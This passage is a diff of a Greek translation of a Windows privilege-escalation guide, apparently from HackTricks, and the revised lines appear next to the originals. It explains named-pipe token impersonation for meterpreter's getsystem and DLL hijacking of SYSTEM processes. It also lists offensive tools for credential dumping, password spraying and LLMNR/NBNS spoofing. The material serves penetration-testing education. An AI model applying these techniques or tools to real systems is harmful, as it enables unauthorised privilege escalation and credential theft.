Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το προνόμιο **`SeImpersonate`** θα μπορεί να **υποδυθεί το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας προνόμια SYSTEM.\
Αυτή η τεχνική χρησιμοποιείται από το meterpreter για να κλιμακώσει στο `getsystem`. Η τεχνική συνίσταται στο **να δημιουργήσετε έναν σωλήνα και στη συνέχεια να δημιουργήσετε/καταχραστείτε μια υπηρεσία για να γράψετε σε αυτόν τον σωλήνα**. Στη συνέχεια, ο **διακομιστής** που δημιούργησε τον σωλήνα χρησιμοποιώντας το προνόμιο **`SeImpersonate`** θα μπορεί να **παριστάνει το token** του πελάτη του σωλήνα (της υπηρεσίας) αποκτώντας προνόμια SYSTEM.\
Εάν θέλετε να [**μάθετε περισσότερα σχετικά με τους ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](#named-pipe-client-impersonation).\
Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από την υψηλή ακεραιότητα στο System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md).
Εάν θέλετε να διαβάσετε ένα παράδειγμα [**πώς να πάτε από υψηλή ακεραιότητα σε System χρησιμοποιώντας ονομαστικούς σωλήνες, θα πρέπει να διαβάσετε αυτό**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτό το είδος κλιμάκωσης προνομίων και, επιπλέον, είναι **πολύ πιο εύκολη στην επίτευξη από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\
Εάν καταφέρετε να **καταχραστείτε μια dll** που **φορτώνεται** από μια **διαδικασία** που εκτελείται ως **SYSTEM**, θα μπορείτε να εκτελέσετε τυχαίο κώδικα με αυτές τις άδειες. Επομένως, η Dll Hijacking είναι επίσης χρήσιμη για αυτό το είδος κλιμάκωσης προνομίων και, επιπλέον, είναι **πολύ πιο εύκολη να επιτευχθεί από μια διαδικασία υψηλής ακεραιότητας** καθώς θα έχει **δικαιώματα εγγραφής** στους φακέλους που χρησιμοποιούνται για τη φόρτωση dlls.\
**Μπορείτε** [**να μάθετε περισσότερα σχετικά με την Dll hijacking εδώ**](dll-hijacking/index.html)**.**
### **From Administrator or Network Service to System**
@ -1364,7 +1366,7 @@ https://github.com/sailay1996/RpcSsImpersonator
## Useful tools
**Καλύτερο εργαλείο για αναζήτηση παραγόντων κλιμάκωσης τοπικών προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**Καλύτερο εργαλείο για αναζήτηση διαδρομών κλιμάκωσης τοπικών προνομίων Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
**PS**
@ -1376,14 +1378,14 @@ https://github.com/sailay1996/RpcSsImpersonator
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Ανιχνεύθηκε.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε συγκεντρωμένους κωδικούς πρόσβασης σε τομέα**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS και man-in-the-middle PowerShell.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση privesc Windows**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΗΚΕ για Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούν δικαιώματα διαχειριστή)**
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική καταμέτρηση privesc Windows**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΕΙΣΑ για Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούνται δικαιώματα διαχειριστή)**
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- Αναζητήστε γνωστές ευπάθειες privesc (χρειάζεται να γίνει μεταγλώττιση χρησιμοποιώντας το VisualStudio) ([**προμεταγλωττισμένο**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Αναγνωρίζει τον υπολογιστή αναζητώντας κακές διαμορφώσεις (περισσότερο εργαλείο συγκέντρωσης πληροφοριών παρά privesc) (χρειάζεται να γίνει μεταγλώττιση) **(**[**προμεταγλωττισμένο**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Καταμετρά τον υπολογιστή αναζητώντας κακές διαμορφώσεις (περισσότερο εργαλείο συγκέντρωσης πληροφοριών παρά privesc) (χρειάζεται να γίνει μεταγλώττιση) **(**[**προμεταγλωττισμένο**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Εξάγει διαπιστευτήρια από πολλά λογισμικά (προμεταγλωττισμένο exe στο github)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port του PowerUp σε C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Ελέγξτε για κακή διαμόρφωση (εκτελέσιμο προμεταγλωττισμένο στο github). Δεν συνιστάται. Δεν λειτουργεί καλά σε Win10.\
@ -1391,7 +1393,7 @@ https://github.com/sailay1996/RpcSsImpersonator
**Bat**
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο που δημιουργήθηκε με βάση αυτήν την ανάρτηση (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει).
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Εργαλείο που δημιουργήθηκε με βάση αυτή την ανάρτηση (δεν χρειάζεται accesschk για να λειτουργήσει σωστά αλλά μπορεί να το χρησιμοποιήσει).
**Local**